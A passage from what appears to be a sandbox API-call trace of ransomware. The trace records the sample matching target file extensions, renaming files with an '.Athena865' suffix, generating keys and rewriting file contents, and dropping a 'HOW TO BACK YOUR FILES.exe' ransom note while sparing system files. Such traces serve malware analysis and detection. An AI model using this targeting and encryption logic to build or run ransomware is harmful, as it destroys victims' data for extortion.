(lpString="mdn") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0048.132] lstrlenW (lpString="mdt") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0048.132] lstrlenW (lpString="mfd") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0048.132] lstrlenW (lpString="mpd") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0048.132] lstrlenW (lpString="mrg") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0048.132] lstrlenW (lpString="mud") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0048.132] lstrlenW (lpString="mwb") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0048.132] lstrlenW (lpString="myd") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0048.132] lstrlenW (lpString="ndf") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0048.132] lstrlenW (lpString="nnt") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0048.132] lstrlenW (lpString="nrmlib") returned 6 [0048.132] lstrcmpiW (lpString1="pi.dll", lpString2="nrmlib") returned 1 [0048.132] lstrlenW (lpString="ns2") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0048.132] lstrlenW (lpString="ns3") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0048.132] lstrlenW (lpString="ns4") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0048.132] lstrlenW (lpString="nsf") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0048.132] lstrlenW (lpString="nv") returned 2 [0048.132] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0048.132] lstrlenW (lpString="nv2") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0048.132] lstrlenW (lpString="nwdb") returned 4 [0048.132] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0048.132] lstrlenW (lpString="nyf") returned 3 [0048.132] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0048.132] lstrlenW (lpString="odb") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0048.133] lstrlenW (lpString="odb") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0048.133] lstrlenW (lpString="oqy") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0048.133] lstrlenW (lpString="ora") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0048.133] lstrlenW (lpString="orx") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0048.133] lstrlenW (lpString="owc") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0048.133] lstrlenW (lpString="p96") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0048.133] lstrlenW (lpString="p97") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0048.133] lstrlenW (lpString="pan") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0048.133] lstrlenW (lpString="pdb") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0048.133] lstrlenW (lpString="pdm") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0048.133] lstrlenW (lpString="pnz") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0048.133] lstrlenW (lpString="qry") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0048.133] lstrlenW (lpString="qvd") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0048.133] lstrlenW (lpString="rbf") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0048.133] lstrlenW (lpString="rctd") returned 4 [0048.133] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0048.133] lstrlenW (lpString="rod") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0048.133] lstrlenW (lpString="rodx") returned 4 [0048.133] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0048.133] lstrlenW (lpString="rpd") returned 3 [0048.133] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0048.133] lstrlenW (lpString="rsd") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0048.134] lstrlenW (lpString="sas7bdat") returned 8 [0048.134] lstrcmpiW (lpString1="mapi.dll", lpString2="sas7bdat") returned -1 [0048.134] lstrlenW (lpString="sbf") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0048.134] lstrlenW (lpString="scx") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0048.134] lstrlenW (lpString="sdb") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0048.134] lstrlenW (lpString="sdc") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0048.134] lstrlenW (lpString="sdf") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0048.134] lstrlenW (lpString="sis") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0048.134] lstrlenW (lpString="spq") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0048.134] lstrlenW (lpString="te") returned 2 [0048.134] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0048.134] lstrlenW (lpString="teacher") returned 7 [0048.134] lstrcmpiW (lpString1="api.dll", lpString2="teacher") returned -1 [0048.134] lstrlenW (lpString="tmd") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0048.134] lstrlenW (lpString="tps") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0048.134] lstrlenW (lpString="trc") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0048.134] lstrlenW (lpString="trc") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0048.134] lstrlenW (lpString="trm") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0048.134] lstrlenW (lpString="udb") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0048.134] lstrlenW (lpString="udl") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0048.134] lstrlenW (lpString="usr") returned 3 [0048.134] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0048.135] lstrlenW (lpString="v12") returned 3 [0048.135] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0048.135] lstrlenW (lpString="vis") returned 3 [0048.135] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0048.135] lstrlenW (lpString="vpd") returned 3 [0048.135] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0048.135] lstrlenW (lpString="vvv") returned 3 [0048.135] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0048.135] lstrlenW (lpString="wdb") returned 3 [0048.135] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0048.135] lstrlenW (lpString="wmdb") returned 4 [0048.135] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0048.135] lstrlenW (lpString="wrk") returned 3 [0048.135] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0048.135] lstrlenW (lpString="xdb") returned 3 [0048.135] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0048.135] lstrlenW (lpString="xld") returned 3 [0048.135] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0048.135] lstrlenW (lpString="xmlff") returned 5 [0048.135] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1 [0048.135] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll.Athena865") returned 68 [0048.135] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" (normalized: "c:\\program files (x86)\\windows portable devices\\sqmapi.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll.Athena865" (normalized: "c:\\program files (x86)\\windows portable devices\\sqmapi.dll.athena865"), dwFlags=0x1) returned 1 [0048.136] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll.Athena865" (normalized: "c:\\program files (x86)\\windows portable devices\\sqmapi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.136] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=189952) returned 1 [0048.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0048.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.136] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.137] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.137] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.137] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e900, lpName=0x0) returned 0x154 [0048.139] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e900) returned 0x170000 [0048.153] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.155] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.155] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x523fa0 [0048.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x523fa0 | out: hHeap=0x4f0000) returned 1 [0048.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.156] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0048.157] CloseHandle (hObject=0x154) returned 1 [0048.157] CloseHandle (hObject=0x17c) returned 1 [0048.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0048.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.159] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42e9705, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb42e9705, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb430f865, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0048.159] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.159] ReleaseMutex (hMutex=0xec) returned 1 [0048.159] CloseHandle (hObject=0xec) returned 1 [0048.159] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Sidebar" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar" [0048.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515f50 | out: hHeap=0x4f0000) returned 1 [0048.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da78 | out: hHeap=0x4f0000) returned 1 [0048.159] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar") returned 38 [0048.159] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\320618F55D4A120A27EA505F9AB1975E") returned 0xec [0048.159] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.159] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar" [0048.159] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.159] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.160] GetLastError () returned 0x0 [0048.160] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.160] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.160] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.161] CloseHandle (hObject=0xf4) returned 1 [0048.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.161] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.161] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.161] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.161] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.161] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.161] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.161] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.161] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.161] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.161] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.161] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0048.161] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0048.162] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0048.162] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0048.162] lstrlenW (lpString="en-US") returned 5 [0048.162] lstrcpyW (in: lpString1=0x241e896, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0048.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da78 [0048.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51b128 [0048.162] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0048.162] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0048.162] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.165] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0048.165] lstrcmpiW (lpString1="Gadgets", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.165] lstrcmpiW (lpString1="Gadgets", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.165] lstrcmpiW (lpString1="Gadgets", lpString2=".") returned 1 [0048.165] lstrcmpiW (lpString1="Gadgets", lpString2="..") returned 1 [0048.165] lstrcmpiW (lpString1="Gadgets", lpString2="windows") returned -1 [0048.165] lstrcmpiW (lpString1="Gadgets", lpString2="bootmgr") returned 1 [0048.165] lstrcmpiW (lpString1="Gadgets", lpString2="temp") returned -1 [0048.165] lstrcmpiW (lpString1="Gadgets", lpString2="pagefile.sys") returned -1 [0048.165] lstrcmpiW (lpString1="Gadgets", lpString2="boot") returned 1 [0048.165] lstrcmpiW (lpString1="Gadgets", lpString2="ids.txt") returned -1 [0048.166] lstrcmpiW (lpString1="Gadgets", lpString2="ntuser.dat") returned -1 [0048.166] lstrcmpiW (lpString1="Gadgets", lpString2="perflogs") returned -1 [0048.166] lstrcmpiW (lpString1="Gadgets", lpString2="MSBuild") returned -1 [0048.166] lstrlenW (lpString="Gadgets") returned 7 [0048.166] lstrcpyW (in: lpString1=0x241e896, lpString2="Gadgets" | out: lpString1="Gadgets") returned="Gadgets" [0048.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da60 [0048.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51bef8 [0048.166] lstrcatW (in: lpString1="Gadgets", lpString2="\\" | out: lpString1="Gadgets\\") returned="Gadgets\\" [0048.166] lstrcatW (in: lpString1="Gadgets\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Gadgets\\HOW TO BACK YOUR FILES.exe") returned="Gadgets\\HOW TO BACK YOUR FILES.exe" [0048.166] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.169] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.169] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.169] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b6cc007, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4b6cc007, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xadcc4370, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sbdrop.dll", cAlternateFileName="")) returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".") returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="..") returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="windows") returned -1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="bootmgr") returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="temp") returned -1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="pagefile.sys") returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="boot") returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="ids.txt") returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="ntuser.dat") returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="perflogs") returned 1 [0048.169] lstrcmpiW (lpString1="sbdrop.dll", lpString2="MSBuild") returned 1 [0048.170] lstrlenW (lpString="sbdrop.dll") returned 10 [0048.170] lstrcpyW (in: lpString1=0x241e896, lpString2="sbdrop.dll" | out: lpString1="sbdrop.dll") returned="sbdrop.dll" [0048.170] lstrlenW (lpString="sbdrop.dll") returned 10 [0048.170] lstrlenW (lpString="Athena865") returned 9 [0048.170] lstrcmpiW (lpString1="bdrop.dll", lpString2="Athena865") returned 1 [0048.170] lstrlenW (lpString=".dll") returned 4 [0048.170] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".dll") returned 1 [0048.170] lstrlenW (lpString=".lnk") returned 4 [0048.170] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".lnk") returned 1 [0048.170] lstrlenW (lpString=".ini") returned 4 [0048.170] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".ini") returned 1 [0048.170] lstrlenW (lpString=".sys") returned 4 [0048.170] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".sys") returned 1 [0048.170] lstrlenW (lpString="sbdrop.dll") returned 10 [0048.170] lstrlenW (lpString="bak") returned 3 [0048.170] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0048.170] lstrlenW (lpString="ba_") returned 3 [0048.170] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0048.170] lstrlenW (lpString="dbb") returned 3 [0048.170] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0048.170] lstrlenW (lpString="vmdk") returned 4 [0048.170] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0048.170] lstrlenW (lpString="rar") returned 3 [0048.170] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0048.170] lstrlenW (lpString="zip") returned 3 [0048.170] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0048.170] lstrlenW (lpString="tgz") returned 3 [0048.170] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0048.170] lstrlenW (lpString="vbox") returned 4 [0048.170] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0048.170] lstrlenW (lpString="vdi") returned 3 [0048.170] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0048.170] lstrlenW (lpString="vhd") returned 3 [0048.170] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0048.170] lstrlenW (lpString="vhdx") returned 4 [0048.170] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0048.171] lstrlenW (lpString="avhd") returned 4 [0048.171] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0048.171] lstrlenW (lpString="db") returned 2 [0048.171] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0048.171] lstrlenW (lpString="db2") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0048.171] lstrlenW (lpString="db3") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0048.171] lstrlenW (lpString="dbf") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0048.171] lstrlenW (lpString="mdf") returned 3 [0048.171] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0048.171] lstrlenW (lpString="mdb") returned 3 [0048.171] lstrcmpiW (lpString1="dll", 